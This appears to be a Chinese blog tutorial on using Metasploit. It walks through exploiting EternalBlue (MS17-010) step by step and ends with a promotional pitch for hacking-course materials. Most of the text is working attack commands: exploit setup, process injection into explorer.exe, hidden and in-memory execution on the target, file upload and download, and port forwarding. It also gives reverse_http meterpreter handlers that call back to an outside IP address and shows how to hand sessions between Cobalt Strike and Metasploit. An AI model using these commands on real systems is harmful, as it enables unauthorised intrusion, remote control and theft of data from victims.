前言
本文仅供学习参考使用,切勿用于非法事情!!
众所周知,msf是大家公认的神器,年少不知msf香,总想自己写程序。
现在发现msf很厉害,可以在它的基础上开发。
msf是框架,什么意思呢,用它可以做渗透攻击的一整套流程,包括前期探索(发育),中期攻击(开团),后期控守(推塔)
我们可以在msfconsole上,开发自己的程序(用自己的英雄),程序可以利用msf中的模块(用它的装备)
msfconsole简介
Metasploit是一款开源安全漏洞检测工具,附带数百个已知的软件漏洞,并保持频繁更新。被安全社区冠以“可以黑掉整个宇宙”之名的强大渗透测试框架。
五大模块:
渗透攻击(Exploit),指由攻击者或渗透测试者利用一个系统、应用或服务中的安全漏洞,所进行的攻击行为。
攻击载荷(Payload),是我们期望目标系统在被渗透攻击之后去执行的代码。
Shellcode,是在渗透攻击是作为攻击载荷运行的一组机器指令,通常用汇编语言编写。
模块(Module),指Metasploit框架中所使用的一段软件代码组件,可用于发起渗透攻击或执行某些辅助攻击动作。
监听器(Listener),是Metasploit中用来等待网络连接的组件。
下面这份完整版的网络安全学习资料已经上传网盘,朋友们如果需要可以微信扫描下方二维码 即可自动领取↓↓↓

msfconsole使用方法——常用命令
直接使用并进行一次攻击
#初次使用:service postgresql start # 启动数据库服务msfdb init # 初始化数据库
#之后使用:msfconsole # 启动metasploit
#查看帮助选项help
#search - 查看漏洞:search ms08_067
#use - 使用漏洞:use exploit/windows/smb/ms08_067_netapi
#show - 查看可以攻击的靶机操作系统型号(targets):show targets
#set - 设置target 参数(xx是对应被攻击靶机的型号):set target xx
#set - 设置rhost参数(攻击靶机的ip地址):set rhost 192.168.xxx.xxx
#show - 查看参数:show options
#进行攻击:exploit
具体参数可以查看帮助选项
help
msfconsole攻击实战
由于msfconsole是内网渗透神器,所以在外网上效果差强人意,需要考虑端口转发等等事情。
例如:
在内网,反弹shell可以直接链接到本机IP,
在外网,如果端口转发,回连的IP为外网IP,回连的端口为外网端口
成功上传payload并执行后,可以得到目标的meterpreter(伪shell)
以一次永恒之蓝漏洞过程为例
渗透过程:
先用msfconsole的smb模块扫描,看看是否有漏洞
use auxiliary/scanner/smb/smb_ms17_010
存在漏洞
使用模块
use exploit/windows/smb/ms17_010_eternalblue
show options
设置目标:
set rhost 192.168.148.137#设置payload等set lhost 192.168.148.134set lport 4444run
结果:
查看信息:
ok
按照网上的教程, 该payload都是64位的,如果目标机是32位的,会出现架构不对的情况,需要下载新的模块并加载
如何加载新的模块、开发新的模块请看目录:载入外部模块:关于ms17_010实战后续
备注:
默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为
set SessionExpirationTimeout 0
渗透结束:
当批量渗透完目标,有很多session(很多攻击成功的结果),我们可以进行如下操作
#查看目标sessions -i
#选择目标sessions -i id
#批量执行命令sessions -c cmd
#批量执行命令sessions -C "meterpreter_cmd"
#从选择的目标返回background
#退出session,而且关闭所有meterpreterexit
载入外部模块:关于ms17_010实战后续
如果payload出现架构错误的情况,如图4,
可以使用github上的模块
https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit/
复制到ROOT目录,解压
如果是kali自带的msf,复制到
/usr/share/metasploit-framework/modules/exploits/windows/smb
如果是Linux后下载的msf,复制到
/opt/metasploit-framework/embedded/framework/modules/exploits/windows/smb
打开msf,
reload_allreloaduse exploit/windows/smb/eternalblue_doublepulsarshow options
该exp可能是基于windows定做,在linux上运行有些问题,所以安装wine32
wine -h
再次exploit
又报错,尝试进程注入伪装
set processinject explorer.exe
ok,成功反弹shell
meterpreter命令执行
1、upload - 上传文件
上传exe到目标靶机c:\ls\下
upload 1.exe c:\\ls\\
2、download - 下载目标靶机相对应权限的任意路径下的文件
命令 download file path
download c:\\ls\\1.exe
3、sysinfo 命令
显示远程主机的系统信息,显示计算机、系统信息、结构、语言等信息。
运行目标主机上的cmd.exe程序,以隐藏的方式直接交互到meterpreter会话上
execute -H -i -f cmd.exeexecute -H -m -d notepad.exe -f 1.exe -a "-o 2.txt"#-d 在目标主机执行时显示的进程名称(用以伪装)#-m 直接从内存中执行#"-o 2.txt"1.exe的运行参数
4、portfwd 命令:
# 端口转发,本机监听yyyy,把目标机zzzz转到本机yyyyportfwd add -l yyyy -p zzzz -r 192.168.xxx.xxx#查看指定端口开放情况netstat -an | grep"yyyy"
5、更多命令,输入help查看
show options
set RHOSTS 127.0.0.1 127.0.0.2
反弹两个shell,这时候
sessions -i 9 可以通过meterpreter连接到127.0.0.2
我们进入到目标内部,
upload有时会出错:
[-] Error running command upload: Rex::TimeoutError Operation timed out.
出错原因:空间不够,网络延迟过高等
msfconsole开发实战
除了基本用法,也可以开发msf,添加模块,修改代码等
浏览msfconsole目录
最重要的是module,module中包含各个模块,可以调用与互相调用。
编写模块(exp模块为例):
编写exp模块思想
exploit开发真正的功夫在背后.而实际不是你选择的开发语言,需要思考的是:专注于漏洞利用,而不是别的
exp模块字段
### This module requires Metasploit: http://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking
def initialize(info={}) super(update_info(info, 'Name' => "[Vendor] [Software] [Root Cause] [Vulnerability type]", 'Description' => %q{ Say something that the user might need to know }, 'License' => MSF_LICENSE, 'Author' => [ 'Name' ], 'References' => [ [ 'URL', '' ] ], 'Platform' => 'win', 'Targets' => [ [ 'System or software version', { 'Ret' => 0x41414141 # This will be available in `target.ret` } ] ], 'Payload' => { 'BadChars' => "\x00" }, 'Arch' => ARCH_ARMLE, 'Privileged' => false, 'DisclosureDate' => "", 'DefaultTarget' => 0)) end
def check # For the check command end
def exploit # Main function end
end
载入模块
将rb模块复制到
/opt/metasploit-framework/embedded/framework/modules/exploits/xxx(你取的文件夹名)/xxx.rb(你的文件)
打开msf,
reload_allreload
之后
use exploits/xxx(你取的文件夹名)/xxx.rb(你的文件)
msfconsole扩展(与CS联合使用)
CobalStrike 与 Metasploit 均是渗透利器,各有所长。前者更适合做稳控平台,后者则更擅长内网各类探测搜集与漏洞利用。两者更需要灵活的联动,各自相互依托,从而提升渗透的效率。
CS的session转到msf上
1、cs上线一台pc
2、设置msf监听
#msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_http #(这里注意不是TCP,cs4.2我没找到外连TCP的) set lhost 103.234.72.5 set lport 10086 show options exploit
3、cs设置监听器
右击spawn,选择这个监听器。
回到msf可以看到机器已经上线。
sessions -l 查看所有session
关于CobalStrike与Metasploit 的联动利用方式远不止这些,每种方式在实战中都有对应的应用场景,更需要探索与总结。
二、msf的session转到CS上
1、首先把msf上获取到的meterpreter挂在后台运行
执行命令:background,即可
2、然后使用 exploit/windows/local/payload_inject来注入一个新的payload到session中,具体命令如下:
use exploit/windows/local/payload_inject set payload windows/meterpreter/reverse_http set LHOST 103.234.72.5 //cs主机地址 set LPORT 84 //随意设置监听端口,需要和cs保持一致 set session 2 //设置需要派送的meterpreter set DisablePayloadHandler true //禁止产生一个新的handler
可以看到cs那边机器已经上线。
- CS+MSF总结
关于CobalStrike与Metasploit 的联动利用方式远不止这些,每种方式在实战中都有对应的应用场景,更需要探索与总结。
在测试过程中详细的信息收集意味着不同的渗透测试路线,也只有信息的关联使用和复用才能更加有效的放大渗透成果。
总结
可以把MSF看成C语言,通过调用其中的库,能完成各种批量、高能、稳定、high操作,非常好用!
零基础入门学习网络安全
【----帮助网安学习,以下所有学习资料文末免费领取!----】
> ① 网安学习成长路径思维导图
> ② 60+网安经典常用工具包
> ③ 100+SRC漏洞分析报告
> ④ 150+网安攻防实战技术电子书
> ⑤ 最权威CISSP 认证考试指南+题库
> ⑥ 超1800页CTF实战技巧手册
> ⑦ 最新网安大厂面试题合集(含答案)
> ⑧ APP客户端安全检测指南(安卓+IOS)
大纲
首先要找一份详细的大纲。
学习教程
第一阶段:零基础入门系列教程
该阶段学完即可年薪15w+
第二阶段:技术入门
弱口令与口令爆破
XSS漏洞
CSRF漏洞
SSRF漏洞
XXE漏洞
SQL注入
任意文件操作漏洞
业务逻辑漏洞
该阶段学完年薪25w+
阶段三:高阶提升
反序列化漏洞
RCE
综合靶场实操项目
内网渗透
流量分析
日志分析
恶意代码分析
应急响应
实战训练
该阶段学完即可年薪30w+
面试刷题
最后,我其实要给部分人泼冷水,因为说实话,上面讲到的资料包获取没有任何的门槛。
但是,我觉得很多人拿到了却并不会去学习。
大部分人的问题看似是“如何行动”,其实是“无法开始”。
几乎任何一个领域都是这样,所谓“万事开头难”,绝大多数人都卡在第一步,还没开始就自己把自己淘汰出局了。
如果你真的确信自己喜欢网络安全/黑客技术,马上行动起来,比一切都重要。
资料领取
上述这份完整版的网络安全学习资料已经上传网盘,朋友们如果需要可以微信扫描下方二维码 即可自动领取↓↓↓
或者
【点此链接】领取